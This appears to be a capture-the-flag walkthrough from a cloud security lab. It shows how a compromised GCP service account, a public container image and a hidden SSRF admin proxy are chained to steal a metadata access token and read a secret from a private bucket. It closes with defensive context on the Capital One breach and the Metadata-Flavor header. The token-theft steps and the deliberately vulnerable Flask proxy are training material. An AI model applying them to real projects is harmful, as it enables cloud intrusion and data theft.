python3 thunder.py destroy
Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create thunder/a6container
Activate the service account given to you. You MUST do this, or the level will not work as intended.
gcloud auth activate-service-account --key-file=start/a6-access.json
Use the compromised service account credentials stored in a6-access.json to find the secret, which is located in a file called secret.txt in a private bucket on the project.
Test the permissions of the given credentials using the test-permissions.py script.
The credentials have the permission compute.instances.list and compute.instances.get
---˝List the instances in the project:
gcloud compute instances list
Get information on the running instance:
gcloud compute instances describe [instance=name]
The instance has the network tag "http-server," meaning it accepts traffic on port 80
tags: fingerprint: FYLDgkTKlA4= items: - http-server
Try browsing the instance's external ip
The home page of the webapp doesn't have any useful information.
However, notice from the instance metadata displayed from running "instances describe" that the webapp is running from a container on the instance:
metadata: fingerprint: oHb5ZeEOk3Y= items: - key: gce-container-declaration value: | apiVersion: v1 kind: Pod metadata: name: a6 spec: containers: - name: a6 image: docker.io/[DOCKER_ACCOUNT]/[REPOSITORY_NAME]:[TAG] imagePullPolicy: Always ports: - containerPort: 80 hostPort: 80
The container image specified in the manifest is publicly available on Docker Hub. See if there's anything you can find on the container image.
image: docker.io/[DOCKER_ACCOUNT]/[REPOSITORY_NAME]:[TAG]
Pull the image:
docker pull [DOCKER_ACCOUNT]/[REPOSITORY_NAME]:[TAG]
Create a container from the image and start an interactive shell session:
docker run -it --entrypoint=/bin/bash [DOCKER_ACCOUNT]/[REPOSITORY_NAME]
The container seems to be running a Flask application. Look in "app.py" to see the logic of the webapp
It seems there is a secret admin page with a proxy, meaning you can make GET requests from the server.
@app.route('/admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d') def proxy(): if 'url' not in request.args: return render_template('proxy.html') else: metadata_url = request.args['url'] token = requests.get(metadata_url, headers={'Metadata-Flavor': 'Google'}).json()['access_token'] return token
Try browsing the page /admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
Instances get access tokens from the metadata server just like cloud functions.
This web application is vulnerable to an SSRF attack.
To get an access token from the instance, input the following url into the admin proxy:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Test the permissions of the token using the test-permissions.py script.
The token gives the permission storage.objects.get, meaning you can now get the contents of secret.txt using the GCS REST API.
To find the location of secret.txt:
gsutil ls gsutil ls [bucket-name]
Get secret.txt:
curl https://www.googleapis.com/storage/v1/b/[BUCKET-NAME]/o/[OBJECT-NAME]?alt=media -H "Authorization: Bearer [ACCESS-TOKEN]"
Containers and microservice deployments are becoming increasingly common in cloud deployments. Unfortunately, one of the benefits of containers: the ability
to deploy it without thinking about dependencies, is also one of its security Achilles heels as developers can often forget about dependencies that might be found
to contain vulnerabilities. In a scan of popular container images, a large percentage were found to contain CVEs
that required patching.
When an adversary comes across a container image, they can easily scan it for potential vulerabilities and leverage them to obtain further access
within the project. In this case, one can reverse-engineer the container to discover a hidden URL in the application that contains an SSRF vulnerability.
An SSRF vulnerability in which an attacker feeds a site a malicious URL to obtain access to internal data otherwise hidden, is a common problem in web applications.
The problem is significant since such vulnerabilities can give an attacker an initial foothold within a cloud deployment.
An SSRF vulnerability that leveraged the project metadata service was, unfortunately, one of the initial steps the attacker leveraged in the Capital One breach
in 2019. Unlike the metadata service of AWS at the time of that breach, GCP's metadata service requires a special HTTP header:
'Metadata-Flavor': 'Google'This header is meant to protect against most SSRF vulnerabilities, where only the url can be spoofed by the attacker. In the container in this level, the header was actually hard-coded into the proxy. It is probably difficult to find a real SSRF vulnerability with the header hard-coded, but it is important to understand the purpose of the header and the protections it provides. Although an SSRF is one effective vector for compromising projects, many other vectors exist and cloud deployments must take pains to ensure they are protected against them.